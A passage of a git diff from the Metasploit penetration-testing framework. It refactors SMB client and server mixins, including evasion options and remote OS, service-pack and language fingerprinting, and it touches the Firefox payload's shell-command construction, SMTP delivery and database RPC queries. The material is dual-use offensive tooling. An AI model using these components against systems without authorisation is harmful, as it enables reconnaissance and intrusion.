Msf::Exploit::Remote::SMB::Client) + + register_options( + [ + Opt::RHOST, + OptInt.new('RPORT', [ true, 'Set the SMB service port', 445]) + ], Msf::Exploit::Remote::SMB::Client) + + register_autofilter_ports([ 139, 445]) + register_autofilter_services(%W{ netbios-ssn microsoft-ds }) + end + + # Override {Exploit::Remote::Tcp#connect} to setup an SMB connection + # and configure evasion options + # + # Also populates {#simple}. + # + # @param (see Exploit::Remote::Tcp#connect) + # @return (see Exploit::Remote::Tcp#connect) + def connect(global=true) + + disconnect() if global + + s = super(global) + self.sock = s if global + + # Disable direct SMB when SMBDirect has not been set + # and the destination port is configured as 139 + direct = smb_direct + if(datastore.default?('SMBDirect') and rport.to_i == 139) + direct = false + end + + c = SIMPLE.new(s, direct) + + # setup pipe evasion foo + if datastore['SMB::pipe_evasion'] + # XXX - insert code to change the instance of the read/write functions to do segmentation + end + + if (datastore['SMB::pad_data_level']) + c.client.evasion_opts['pad_data'] = datastore['SMB::pad_data_level'] + end + + if (datastore['SMB::pad_file_level']) + c.client.evasion_opts['pad_file'] = datastore['SMB::pad_file_level'] + end + + if (datastore['SMB::obscure_trans_pipe_level']) + c.client.evasion_opts['obscure_trans_pipe'] = datastore['SMB::obscure_trans_pipe_level'] + end + + self.simple = c if global + c + end + + # Convert a standard ASCII string to 16-bit Unicode + def unicode(str) + Rex::Text.to_unicode(str) + end + + # Establishes an SMB session over the default socket and connects to + # the IPC$ share. + # + # You should call {#connect} before calling this + # + # @return [void] + def smb_login + simple.login( + datastore['SMBName'], + datastore['SMBUser'], + datastore['SMBPass'], + datastore['SMBDomain'], + datastore['SMB::VerifySignature'], + datastore['NTLM::UseNTLMv2'], + datastore['NTLM::UseNTLM2_session'], + datastore['NTLM::SendLM'], + datastore['NTLM::UseLMKey'], + datastore['NTLM::SendNTLM'], + datastore['SMB::Native_OS'], + datastore['SMB::Native_LM'], + {:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost} + ) + simple.connect("\\\\#{datastore['RHOST']}\\IPC$") + end + + + # This method returns the native operating system of the peer + def smb_peer_os + self.simple.client.peer_native_os + end + + # This method returns the native lanman version of the peer + def smb_peer_lm + self.simple.client.peer_native_lm + end + + # This method opens a handle to an IPC pipe + def smb_create(pipe) + self.simple.create_pipe(pipe) + end + + #the default chunk size of 48000 for OpenFile is not compatible when signing is enabled (and with some nt4 implementations) + #cause it looks like MS windows refuse to sign big packet and send STATUS_ACCESS_DENIED + #fd.chunk_size = 500 is better + def smb_open(path, perm) + self.simple.open(path, perm, datastore['SMB::ChunkSize']) + end + + def smb_hostname + datastore['SMBName'] || '*SMBSERVER' + end + + def smb_direct + datastore['SMBDirect'] + end + + def domain + datastore['SMBDomain'] + end + + def smbhost + if domain == "." + "#{rhost}:#{rport}" + else + "#{rhost}:#{rport}|#{domain}" + end + end + + # If the username contains a / slash, then + # split it as a domain/username. NOTE: this + # is predicated on forward slashes, and not + # Microsoft's backwards slash convention. + def domain_username_split(user) + return user if(user.nil? || user.empty?) + if !user[/\//] # Only /, not \! + return [nil,user] + else + return user.split("/",2) + end + end + + def splitname(uname) + if datastore["PRESERVE_DOMAINS"] + d,u = domain_username_split(uname) + return u + else + return uname + end + end + + # Whether a remote file exists + # + # @param file [String] Path to a file to remove, relative to the + # most-recently connected share + # @raise [Rex::Proto::SMB::Exceptions::ErrorCode] + def smb_file_exist?(file) + begin + fd = simple.open(file, 'ro') + rescue XCEPT::ErrorCode => e + # If attempting to open the file results in a "*_NOT_FOUND" error, + # then we can be sure the file is not there. + # + # Copy-pasted from smb/exceptions.rb to avoid the gymnastics + # required to pull them out of a giant inverted hash + # + # 0xC0000034 => "STATUS_OBJECT_NAME_NOT_FOUND", + # 0xC000003A => "STATUS_OBJECT_PATH_NOT_FOUND", + # 0xC0000225 => "STATUS_NOT_FOUND", + error_is_not_found = [ 0xC0000034, 0xC000003A, 0xC0000225 ].include?(e.error_code) + # If the server returns some other error, then there was a + # permissions problem or some other difficulty that we can't + # really account for and hope the caller can deal with it. + raise e unless error_is_not_found + found = !error_is_not_found + else + # There was no exception, so we know the file is openable + fd.close + found = true + end + + found + end + + # Remove remote file + # + # @param file (see #smb_file_exist?) + # @return [void] + def smb_file_rm(file) + fd = smb_open(file, 'ro') + fd.delete + end + + + # + # Fingerprinting methods + # + + + # Calls the EnumPrinters() function of the spooler service + def smb_enumprinters(flags, name, level, blen) + stub = + NDR.long(flags) + + (name ? NDR.uwstring(name) : NDR.long(0)) + + NDR.long(level) + + NDR.long(rand(0xffffffff)+1)+ + NDR.long(blen) + + "\x00" * blen + + NDR.long(blen) + + handle = dcerpc_handle( + '12345678-1234-abcd-ef00-0123456789ab', '1.0', + 'ncacn_np', ["\\SPOOLSS"] + ) + + begin + dcerpc_bind(handle) + dcerpc.call(0x00, stub) + return dcerpc.last_response.stub_data + rescue ::Interrupt + raise $! + rescue ::Exception => e + return nil + end + end + + # This method dumps the print provider strings from the spooler + def smb_enumprintproviders + resp = smb_enumprinters(8, nil, 1, 0) + return nil if not resp + rptr, tmp, blen = resp.unpack("V*") + + resp = smb_enumprinters(8, nil, 1, blen) + return nil if not resp + + bcnt,pcnt,stat = resp[-12, 12].unpack("VVV") + return nil if stat != 0 + return nil if pcnt == 0 + return nil if bcnt > blen + return nil if pcnt < 3 + + # + # The correct way, which leads to invalid offsets :-( + # + #providers = [] + # + #0.upto(pcnt-1) do |i| + # flags,desc_o,name_o,comm_o = resp[8 + (i*16), 16].unpack("VVVV") + # + # #desc = read_unicode(resp,8+desc_o).gsub("\x00", '') + # #name = read_unicode(resp,8+name_o).gsub("\x00", '') + # #comm = read_unicode(resp,8+comm_o).gsub("\x00", '') + # #providers << [flags,desc,name,comm] + #end + # + #providers + + return resp + + end + + # This method performs an extensive set of fingerprinting operations + def smb_fingerprint + fprint = {} + + # Connect to the server if needed + if not self.simple + connect() + smb_login() + end + + fprint['native_os'] = smb_peer_os() + fprint['native_lm'] = smb_peer_lm() + + # Leverage Recog for SMB native OS fingerprinting + fp_match = Recog::Nizer.match('smb.native_os', fprint['native_os']) || { } + + os = fp_match['os.product'] || 'Unknown' + sp = fp_match['os.version'] || '' + + # Metasploit prefers 'Windows 2003' vs 'Windows Server 2003' + if os =~ /^Windows Server/ + os = os.sub(/^Windows Server/, 'Windows') + end + + if fp_match['os.edition'] + fprint['edition'] = fp_match['os.edition'] + end + + if fp_match['os.build'] + fprint['build'] = fp_match['os.build'] + end + + if sp == '' + sp = smb_fingerprint_windows_sp(os) + end + + lang = smb_fingerprint_windows_lang + + fprint['os'] = os + fprint['sp'] = sp + fprint['lang'] = lang + + fprint + end + + # + # Determine the service pack level of a Windows system via SMB probes + # + def smb_fingerprint_windows_sp(os) + sp = '' + + if (os == 'Windows XP') + # SRVSVC was blocked in SP2 + begin + smb_create("\\SRVSVC") + sp = 'Service Pack 0 / 1' + rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e + if (e.error_code == 0xc0000022) + sp = 'Service Pack 2+' + end + end + end + + if (os == 'Windows 2000' and sp.length == 0) + # LLSRPC was blocked in a post-SP4 update + begin + smb_create("\\LLSRPC") + sp = 'Service Pack 0 - 4' + rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e + if (e.error_code == 0xc0000022) + sp = 'Service Pack 4 with MS05-010+' + end + end + end + + # + # Perform granular XP SP checks if LSARPC is exposed + # + if (os == 'Windows XP') + + # + # Service Pack 2 added a range(0,64000) to opnum 0x22 in SRVSVC + # Credit to spoonm for first use of unbounded [out] buffers + # + handle = dcerpc_handle( + '4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', + 'ncacn_np', ["\\BROWSER"] + ) + + begin + dcerpc_bind(handle) + + stub = + NDR.uwstring(Rex::Text.rand_text_alpha(rand(10)+1)) + + NDR.wstring(Rex::Text.rand_text_alpha(rand(10)+1)) + + NDR.long(64001) + + NDR.long(0) + + NDR.long(0) + + dcerpc.call(0x22, stub) + sp = "Service Pack 0 / 1" + + rescue ::Interrupt + raise $! + rescue ::Rex::Proto::SMB::Exceptions::ErrorCode + rescue ::Rex::Proto::SMB::Exceptions::ReadPacket + rescue ::Rex::Proto::DCERPC::Exceptions::Fault + sp = "Service Pack 2+" + rescue ::Exception + end + + + # + # Service Pack 3 fixed information leaks via [unique][out] pointers + # Call SRVSVC::NetRemoteTOD() to return [out] [ref] [unique] + # Credit: + # Pointer leak is well known, but Immunity also covered in a paper + # Silent fix of pointer leak in SP3 and detection method by Rhys Kidd + # + handle = dcerpc_handle( + '4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', + 'ncacn_np', ["\\BROWSER"] + ) + + begin + dcerpc_bind(handle) + + stub = NDR.uwstring(Rex::Text.rand_text_alpha(rand(8)+1)) + resp = dcerpc.call(0x1c, stub) + + if(resp and resp[0,4] == "\x00\x00\x02\x00") + sp = "Service Pack 3" + else + if(resp and sp =~ /Service Pack 2\+/) + sp = "Service Pack 2" + end + end + + rescue ::Interrupt + raise $! + rescue ::Rex::Proto::SMB::Exceptions::ErrorCode + rescue ::Rex::Proto::SMB::Exceptions::ReadPacket + rescue ::Exception + end + end + + sp + end + + + # + # Determine the native language pack of a Windows system via SMB probes + # + def smb_fingerprint_windows_lang + + # + # Remote language detection via Print Providers + # Credit: http://immunityinc.com/downloads/Remote_Language_Detection_in_Immunity_CANVAS.odt + # + + lang = 'Unknown' + + sigs = + { + 'English' => + [ + Rex::Text.to_unicode('Windows NT Remote Printers'), + Rex::Text.to_unicode('LanMan Print Services') + ], + 'Spanish' => + [ + Rex::Text.to_unicode('Impresoras remotas Windows NT'), + Rex::Text.to_unicode('Impresoras remotas de Windows NT') + ], + 'Italian' => + [ + Rex::Text.to_unicode('Stampanti remote di Windows NT'), + Rex::Text.to_unicode('Servizi di stampa LanMan') + ], + 'French' => + [ + Rex::Text.to_unicode('Imprimantes distantes NT'), + Rex::Text.to_unicode('Imprimantes distantes pour Windows NT'), + Rex::Text.to_unicode("Services d'impression LanMan") + ], + 'German' => + [ + Rex::Text.to_unicode('Remotedrucker') + ], + 'Portuguese - Brazilian' => + [ + Rex::Text.to_unicode('Impr. remotas Windows NT'), + Rex::Text.to_unicode('Impressoras remotas do Windows NT') + ], + 'Portuguese' => + [ + Rex::Text.to_unicode('Imp. remotas do Windows NT') + ], + 'Hungarian' => + [ + Rex::Text.to_unicode("\x54\xe1\x76\x6f\x6c\x69\x20\x6e\x79\x6f\x6d\x74\x61\x74\xf3\x6b") + ], + 'Finnish' => + [ + Rex::Text.to_unicode("\x45\x74\xe4\x74\x75\x6c\x6f\x73\x74\x69\x6d\x65\x74") + ], + 'Dutch' => + [ + Rex::Text.to_unicode('Externe printers voor NT') + ], + 'Danish' => + [ + Rex::Text.to_unicode('Fjernprintere') + ], + 'Swedish' => + [ + Rex::Text.to_unicode("\x46\x6a\xe4\x72\x72\x73\x6b\x72\x69\x76\x61\x72\x65") + ], + 'Polish' => + [ + Rex::Text.to_unicode('Zdalne drukarki') + ], + 'Czech' => + [ + Rex::Text.to_unicode("\x56\x7a\x64\xe1\x6c\x65\x6e\xe9\x20\x74\x69\x73\x6b\xe1\x72\x6e\x79") + ], + 'Turkish' => + [ + "\x59\x00\x61\x00\x7a\x00\x31\x01\x63\x00\x31\x01\x6c\x00\x61\x00\x72\x00" + ], + 'Japanese' => + [ + "\xea\x30\xe2\x30\xfc\x30\xc8\x30\x20\x00\xd7\x30\xea\x30\xf3\x30\xbf\x30" + ], + 'Chinese - Traditional' => + [ + "\xdc\x8f\x0b\x7a\x53\x62\x70\x53\x3a\x67" + ], + 'Chinese - Traditional / Taiwan' => + [ + "\x60\x90\xef\x7a\x70\x53\x68\x88\x5f\x6a", + ], + 'Korean' => + [ + "\xd0\xc6\xa9\xac\x20\x00\x04\xd5\xb0\xb9\x30\xd1", + ], + 'Russian' => + [ + "\x1f\x04\x40\x04\x38\x04\x3d\x04\x42\x04\x35\x04\x40\x04\x4b\x04\x20\x00\x43\x04\x34\x04\x30\x04\x3b\x04\x35\x04\x3d\x04\x3d\x04\x3e\x04\x33\x04\x3e\x04\x20\x00\x34\x04\x3e\x04\x41\x04\x42\x04\x43\x04\x3f\x04\x30\x04", + ], + + } + + begin + prov = smb_enumprintproviders() + if(prov) + sigs.each_key do |k| + sigs[k].each do |s| + if(prov.index(s)) + lang = k + break + end + break if lang != 'Unknown' + end + break if lang != 'Unknown' + end + + if(lang == 'Unknown') + + @fpcache ||= {} + mhash = ::Digest::MD5.hexdigest(prov[4,prov.length-4]) + + if(not @fpcache[mhash]) + + buff = "\n" + buff << "*** NEW FINGERPRINT: PLEASE SEND TO [ msfdev[at]metasploit.com ]\n" + buff << " VERS: $Revision$\n" + buff << " HOST: #{rhost}\n" + buff << " OS: #{os}\n" + buff << " SP: #{sp}\n" + + prov.unpack("H*")[0].scan(/.{64}|.*/).each do |line| + next if line.length == 0 + buff << " FP: #{line}\n" + end + + prov.split(/\x00\x00+/n).each do |line| + line.gsub!("\x00",'') + line.strip! + next if line.length < 6 + + buff << " TXT: #{line}\n" + end + + buff << "*** END FINGERPRINT\n" + + print_line(buff) + + @fpcache[mhash] = true + end + + end + end + rescue ::Interrupt + raise $! + rescue ::Rex::Proto::SMB::Exceptions::ErrorCode + end + lang + end + + # @return [Rex::Proto::SMB::SimpleClient] + attr_accessor :simple + end + end +end diff --git a/lib/msf/core/exploit/smb/authenticated.rb b/lib/msf/core/exploit/smb/client/authenticated.rb similarity index 77% rename from lib/msf/core/exploit/smb/authenticated.rb rename to lib/msf/core/exploit/smb/client/authenticated.rb index f4919b71ff..8f865afcbb 100644 --- a/lib/msf/core/exploit/smb/authenticated.rb +++ b/lib/msf/core/exploit/smb/client/authenticated.rb @@ -4,9 +4,9 @@ module Msf # Mini-mixin for making SMBUser/SMBPass/SMBDomain regular options vs advanced # Included when the module needs credentials to function -module Exploit::Remote::SMB::Authenticated +module Exploit::Remote::SMB::Client::Authenticated - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super @@ -15,7 +15,7 @@ module Exploit::Remote::SMB::Authenticated OptString.new('SMBUser', [ false, 'The username to authenticate as', '']), OptString.new('SMBPass', [ false, 'The password for the specified username', '']), OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', 'WORKGROUP']), - ], Msf::Exploit::Remote::SMB::Authenticated) + ], Msf::Exploit::Remote::SMB::Client::Authenticated) end end diff --git a/lib/msf/core/exploit/smb/psexec.rb b/lib/msf/core/exploit/smb/client/psexec.rb similarity index 98% rename from lib/msf/core/exploit/smb/psexec.rb rename to lib/msf/core/exploit/smb/client/psexec.rb index 1fe6c498bc..3d3ff89ad9 100644 --- a/lib/msf/core/exploit/smb/psexec.rb +++ b/lib/msf/core/exploit/smb/client/psexec.rb @@ -11,11 +11,11 @@ module Msf # and running a binary. #### -module Exploit::Remote::SMB::Psexec +module Exploit::Remote::SMB::Client::Psexec include Rex::Constants::Windows include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client::Authenticated def initialize(info = {}) super diff --git a/lib/msf/core/exploit/smb/server.rb b/lib/msf/core/exploit/smb/server.rb new file mode 100644 index 0000000000..5a75af3e16 --- /dev/null +++ b/lib/msf/core/exploit/smb/server.rb @@ -0,0 +1,149 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::SMB + # This mixin provides a minimal SMB server + module Server + include Msf::Exploit::Remote::TcpServer + include Msf::Exploit::NTLM + CONST = ::Rex::Proto::SMB::Constants + CRYPT = ::Rex::Proto::SMB::Crypt + UTILS = ::Rex::Proto::SMB::Utils + XCEPT = ::Rex::Proto::SMB::Exceptions + EVADE = ::Rex::Proto::SMB::Evasions + + def initialize(info = {}) + super + + deregister_options('SSL', 'SSLCert') + register_options( + [ + OptPort.new('SRVPORT', [ true, "The local port to listen on.", 445 ]) + ], self.class) + end + + def setup + super + @state = {} + end + + def on_client_connect(client) + # print_status("New SMB connection from #{client.peerhost}:#{client.peerport}") + smb_conn(client) + end + + def on_client_data(client) + # print_status("New data from #{client.peerhost}:#{client.peerport}") + smb_recv(client) + true + end + + def on_client_close(client) + smb_stop(client) + end + + def smb_conn(c) + @state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport} + end + + def smb_stop(c) + @state.delete(c) + end + + def smb_recv(c) + smb = @state[c] + smb[:data] ||= '' + smb[:data] << c.get_once + + while(smb[:data].length > 0) + + return if smb[:data].length < 4 + + plen = smb[:data][2,2].unpack('n')[0] + + return if smb[:data].length < plen+4 + + buff = smb[:data].slice!(0, plen+4) + + pkt_nbs = CONST::NBRAW_PKT.make_struct + pkt_nbs.from_s(buff) + + # print_status("NetBIOS request from #{smb[:name]} #{pkt_nbs.v['Type']} #{pkt_nbs.v['Flags']} #{buff.inspect}") + + # Check for a NetBIOS name request + if (pkt_nbs.v['Type'] == 0x81) + # Accept any name they happen to send + + host_dst = UTILS.nbname_decode(pkt_nbs.v['Payload'][1,32]).gsub(/[\x00\x20]+$/n, '') + host_src = UTILS.nbname_decode(pkt_nbs.v['Payload'][35,32]).gsub(/[\x00\x20]+$/n, '') + + smb[:nbdst] = host_dst + smb[:nbsrc] = host_src + + # print_status("NetBIOS session request from #{smb[:name]} (asking for #{host_dst} from #{host_src})") + c.write("\x82\x00\x00\x00") + next + end + + + # + # TODO: Support AndX parameters + # + + + # Cast this to a generic SMB structure + pkt = CONST::SMB_BASE_PKT.make_struct + pkt.from_s(buff) + + # Only response to requests, ignore server replies + if (pkt['Payload']['SMB'].v['Flags1'] & 128 != 0) + print_status("Ignoring server response from #{smb[:name]}") + next + end + + cmd = pkt['Payload']['SMB'].v['Command'] + begin + smb_cmd_dispatch(cmd, c, buff) + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_status("Error processing request from #{smb[:name]} (#{cmd}): #{e.class} #{e} #{e.backtrace}") + next + end + end + end + + def smb_cmd_dispatch(cmd, c, buff) + smb = @state[c] + print_status("Received command #{cmd} from #{smb[:name]}") + end + + def smb_set_defaults(c, pkt) + smb = @state[c] + pkt['Payload']['SMB'].v['ProcessID'] = smb[:process_id].to_i + pkt['Payload']['SMB'].v['UserID'] = smb[:user_id].to_i + pkt['Payload']['SMB'].v['TreeID'] = smb[:tree_id].to_i + pkt['Payload']['SMB'].v['MultiplexID'] = smb[:multiplex_id].to_i + end + + def smb_error(cmd, c, errorclass, esn = false) + # 0xc0000022 = Deny + # 0xc000006D = Logon_Failure + # 0x00000000 = Ignore + pkt = CONST::SMB_BASE_PKT.make_struct + smb_set_defaults(c, pkt) + pkt['Payload']['SMB'].v['Command'] = cmd + pkt['Payload']['SMB'].v['Flags1'] = 0x88 + if esn + pkt['Payload']['SMB'].v['Flags2'] = 0xc801 + else + pkt['Payload']['SMB'].v['Flags2'] = 0xc001 + end + pkt['Payload']['SMB'].v['ErrorClass'] = errorclass + c.put(pkt.to_s) + end + end + end + +end + diff --git a/lib/msf/core/exploit/smb_server.rb b/lib/msf/core/exploit/smb_server.rb deleted file mode 100644 index 8b3e81790e..0000000000 --- a/lib/msf/core/exploit/smb_server.rb +++ /dev/null @@ -1,153 +0,0 @@ -# -*- coding: binary -*- - -module Msf - -### -# -# This mixin provides a minimal SMB server -# -### - -module Exploit::Remote::SMBServer - include Exploit::Remote::TcpServer - include Exploit::NTLM - CONST = ::Rex::Proto::SMB::Constants - CRYPT = ::Rex::Proto::SMB::Crypt - UTILS = ::Rex::Proto::SMB::Utils - XCEPT = ::Rex::Proto::SMB::Exceptions - EVADE = ::Rex::Proto::SMB::Evasions - - def initialize(info = {}) - super - - register_options( - [ - OptPort.new('SRVPORT', [ true, "The local port to listen on.", 445 ]) - ], self.class) - end - - def setup - super - @state = {} - end - - def on_client_connect(client) - # print_status("New SMB connection from #{client.peerhost}:#{client.peerport}") - smb_conn(client) - end - - def on_client_data(client) - # print_status("New data from #{client.peerhost}:#{client.peerport}") - smb_recv(client) - true - end - - def on_client_close(client) - smb_stop(client) - end - - def smb_conn(c) - @state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport} - end - - def smb_stop(c) - @state.delete(c) - end - - def smb_recv(c) - smb = @state[c] - smb[:data] ||= '' - smb[:data] << c.get_once - - while(smb[:data].length > 0) - - return if smb[:data].length < 4 - - plen = smb[:data][2,2].unpack('n')[0] - - return if smb[:data].length < plen+4 - - buff = smb[:data].slice!(0, plen+4) - - pkt_nbs = CONST::NBRAW_PKT.make_struct - pkt_nbs.from_s(buff) - - # print_status("NetBIOS request from #{smb[:name]} #{pkt_nbs.v['Type']} #{pkt_nbs.v['Flags']} #{buff.inspect}") - - # Check for a NetBIOS name request - if (pkt_nbs.v['Type'] == 0x81) - # Accept any name they happen to send - - host_dst = UTILS.nbname_decode(pkt_nbs.v['Payload'][1,32]).gsub(/[\x00\x20]+$/n, '') - host_src = UTILS.nbname_decode(pkt_nbs.v['Payload'][35,32]).gsub(/[\x00\x20]+$/n, '') - - smb[:nbdst] = host_dst - smb[:nbsrc] = host_src - - # print_status("NetBIOS session request from #{smb[:name]} (asking for #{host_dst} from #{host_src})") - c.write("\x82\x00\x00\x00") - next - end - - - # - # TODO: Support AndX parameters - # - - - # Cast this to a generic SMB structure - pkt = CONST::SMB_BASE_PKT.make_struct - pkt.from_s(buff) - - # Only response to requests, ignore server replies - if (pkt['Payload']['SMB'].v['Flags1'] & 128 != 0) - print_status("Ignoring server response from #{smb[:name]}") - next - end - - cmd = pkt['Payload']['SMB'].v['Command'] - begin - smb_cmd_dispatch(cmd, c, buff) - rescue ::Interrupt - raise $! - rescue ::Exception => e - print_status("Error processing request from #{smb[:name]} (#{cmd}): #{e.class} #{e} #{e.backtrace}") - next - end - end - end - - def smb_cmd_dispatch(cmd, c, buff) - smb = @state[c] - print_status("Received command #{cmd} from #{smb[:name]}") - end - - def smb_set_defaults(c, pkt) - smb = @state[c] - pkt['Payload']['SMB'].v['ProcessID'] = smb[:process_id].to_i - pkt['Payload']['SMB'].v['UserID'] = smb[:user_id].to_i - pkt['Payload']['SMB'].v['TreeID'] = smb[:tree_id].to_i - pkt['Payload']['SMB'].v['MultiplexID'] = smb[:multiplex_id].to_i - end - - def smb_error(cmd, c, errorclass, esn = false) - # 0xc0000022 = Deny - # 0xc000006D = Logon_Failure - # 0x00000000 = Ignore - pkt = CONST::SMB_BASE_PKT.make_struct - smb_set_defaults(c, pkt) - pkt['Payload']['SMB'].v['Command'] = cmd - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - if esn - pkt['Payload']['SMB'].v['Flags2'] = 0xc801 - else - pkt['Payload']['SMB'].v['Flags2'] = 0xc001 - end - pkt['Payload']['SMB'].v['ErrorClass'] = errorclass - c.put(pkt.to_s) - end - -end - -end - diff --git a/lib/msf/core/exploit/smtp_deliver.rb b/lib/msf/core/exploit/smtp_deliver.rb index 52d100a141..0dec10cc71 100644 --- a/lib/msf/core/exploit/smtp_deliver.rb +++ b/lib/msf/core/exploit/smtp_deliver.rb @@ -141,6 +141,8 @@ module Exploit::Remote::SMTPDeliver raw_send_recv("MAIL FROM: <#{datastore['MAILFROM']}>\r\n", nsock) raw_send_recv("RCPT TO: <#{datastore['MAILTO']}>\r\n", nsock) + resp = raw_send_recv("DATA\r\n", nsock) + # If the user supplied a Date field, use that, else use the current # DateTime in the proper RFC2822 format. if datastore['DATE'].present? @@ -154,8 +156,6 @@ module Exploit::Remote::SMTPDeliver raw_send_recv("Subject: #{datastore['SUBJECT']}\r\n", nsock) end - resp = raw_send_recv("DATA\r\n", nsock) - # Avoid sending tons of data and killing the connection if the server # didn't like us. if not resp or not resp[0,3] == '354' diff --git a/lib/msf/core/payload/firefox.rb b/lib/msf/core/payload/firefox.rb index 2d116ca0d4..bcfd8a4711 100644 --- a/lib/msf/core/payload/firefox.rb +++ b/lib/msf/core/payload/firefox.rb @@ -175,14 +175,16 @@ module Msf::Payload::Firefox stdout.append(stdoutFile); var shell; + cmd = cmd.trim(); if (windows) { - shell = shPath+" "+cmd.trim(); + shell = shPath+" "+cmd; shell = shPath+" "+shell.replace(/\\W/g, shEsc)+" >"+stdout.path+" 2>&1"; var b64 = svcs.btoa(shell); } else { shell = shPath+" "+cmd.replace(/\\W/g, shEsc); shell = shPath+" "+shell.replace(/\\W/g, shEsc) + " >"+stdout.path+" 2>&1"; } + var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); var sh = Components.classes["@mozilla.org/file/local;1"] diff --git a/lib/msf/core/post/windows/user_profiles.rb b/lib/msf/core/post/windows/user_profiles.rb index 2e21c7b5fc..9c686a74fb 100644 --- a/lib/msf/core/post/windows/user_profiles.rb +++ b/lib/msf/core/post/windows/user_profiles.rb @@ -49,9 +49,6 @@ module UserProfiles # def parse_profile(hive) profile={} - sidinf = resolve_sid(hive['SID'].to_s) - profile['UserName'] = sidinf[:name] - profile['Domain'] = sidinf[:domain] profile['SID'] = hive['SID'] profile['ProfileDir'] = hive['PROF'] profile['AppData'] = registry_getvaldata("#{hive['HKU']}\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders", 'AppData') @@ -65,6 +62,12 @@ module UserProfiles profile['Temp'] = registry_getvaldata("#{hive['HKU']}\\Environment", 'TEMP').to_s.sub('%USERPROFILE%',profile['ProfileDir']) profile['Path'] = registry_getvaldata("#{hive['HKU']}\\Environment", 'PATH') + sidinf = resolve_sid(hive['SID'].to_s) + if sidinf + profile['UserName'] = sidinf[:name] + profile['Domain'] = sidinf[:domain] + end + return profile end diff --git a/lib/msf/core/rpc/v10/rpc_db.rb b/lib/msf/core/rpc/v10/rpc_db.rb index 438e3141db..32cef00cea 100644 --- a/lib/msf/core/rpc/v10/rpc_db.rb +++ b/lib/msf/core/rpc/v10/rpc_db.rb @@ -55,7 +55,7 @@ private return hosts if opts[:addresses].class != Array conditions = {} conditions[:address] = opts[:addresses] - hent = wspace.hosts.all(:conditions => conditions) + hent = wspace.hosts.where(conditions) hosts |= hent if hent.class == Array end return hosts @@ -73,7 +73,7 @@ private conditions = {} conditions[:port] = opts[:port] if opts[:port] conditions[:proto] = opts[:proto] if opts[:proto] - sret = h.services.all(:conditions => conditions) + sret = h.services.where(conditions) next if sret == nil services |= sret if sret.class == Array services << sret if sret.class == ::Mdm::Service @@ -85,7 +85,7 @@ private conditions = {} conditions[:port] = opts[:port] if opts[:port] conditions[:proto] = opts[:proto] if opts[:proto] - sret = wspace.services.all(:conditions => conditions) + sret = wspace.services.where(conditions) services |= sret if sret.class == Array services << sret if sret.class == ::Mdm::Service end @@ -189,8 +189,7 @@ public ret = {} ret[:hosts] = [] - wspace.hosts.all(:conditions => conditions, :order => :address, - :limit => limit, :offset => offset).each do |h| + wspace.hosts.where(conditions).offset(offset).order(:address).limit(limit).each do |h| host = {} host[:created_at] = h.created_at.to_i host[:address] = h.address.to_s @@ -226,8 +225,7 @@ public ret = {} ret[:services] = [] - wspace.services.all(:include => :host, :conditions => conditions, - :limit => limit, :offset => offset).each do |s| + wspace.services.includes(:host).where(conditions).offset(offset).limit(limit).each do |s| service = {} host = s.host service[:host] = host.address || "unknown" @@ -258,7 +256,7 @@ public ret = {} ret[:vulns] = [] - wspace.vulns.all(:include => :service, :conditions => conditions, :limit => limit, :offset => offset).each do |v| + wspace.vulns.includes(:service).where(conditions).offset(offset).limit(limit).each do |v| vuln = {} reflist = v.refs.map { |r| r.name } if(v.service) @@ -423,7 +421,7 @@ public conditions[:proto] = opts[:proto] if opts[:proto] conditions[:port] = opts[:port] if opts[:port] conditions[:name] = opts[:names] if opts[:names] - sret = wspace.services.all(:conditions => conditions, :order => "hosts.address, port") + sret = wspace.services.where(conditions).order("hosts.address, port") else sret = host.services end @@ -564,8 +562,7 @@ public ret = {} ret[:notes] = [] - wspace.notes.all(:include => [:host, :service], :conditions => conditions, - :limit => limit, :offset => offset).each do |n| + wspace.notes.includes(:host, :service).where(conditions).offset(offset).limit(limit).each do |n| note = {} note[:time] = n.created_at.to_i note[:host] = "" @@ -737,7 +734,7 @@ public elsif opts[:addresses] return { :result => 'failed' } if opts[:addresses].class != Array conditions = { :address => opts[:addresses] } - hent = wspace.hosts.all(:conditions => conditions) + hent = wspace.hosts.where(conditions) return { :result => 'failed' } if hent == nil hosts |= hent if hent.class == Array hosts << hent if hent.class == ::Mdm::Host @@ -749,7 +746,7 @@ public conditions = {} conditions[:port] = opts[:port] if opts[:port] conditions[:proto] = opts[:proto] if opts[:proto] - sret = h.services.all(:conditions => conditions) + sret = h.services.where(conditions) next if sret == nil services << sret if sret.class == ::Mdm::Service services |= sret if sret.class == Array @@ -761,7 +758,7 @@ public conditions = {} conditions[:port] = opts[:port] if opts[:port] conditions[:proto] = opts[:proto] if opts[:proto] - sret = wspace.services.all(:conditions => conditions) + sret = wspace.services.where(conditions) services << sret if sret and sret.class == ::Mdm::Service services |= sret if sret and sret.class == Array end @@ -794,7 +791,7 @@ public elsif opts[:addresses] return { :result => 'failed' } if opts[:addresses].class != Array conditions = { :address => opts[:addresses] } - hent = wspace.hosts.all(:conditions => conditions) + hent = wspace.hosts.where(conditions) return { :result => 'failed' } if hent == nil hosts |= hent if hent.class == Array hosts << hent if hent.class == ::Mdm::Host @@ -829,7 +826,7 @@ public ret = {} ret[:events] = [] - wspace.events.all(:limit => limit, :offset => offset).each do |e| + wspace.events.offset(offset).limit(limit).each do |e| event = {} event[:host] = e.host.address if(e.host) event[:created_at] = e.created_at.to_i @@ -874,7 +871,7 @@ public ret = {} ret[:loots] = [] - wspace.loots.all(:limit => limit, :offset => offset).each do |l| + wspace.loots.offset(offset).limit(limit).each do |l| loot = {} 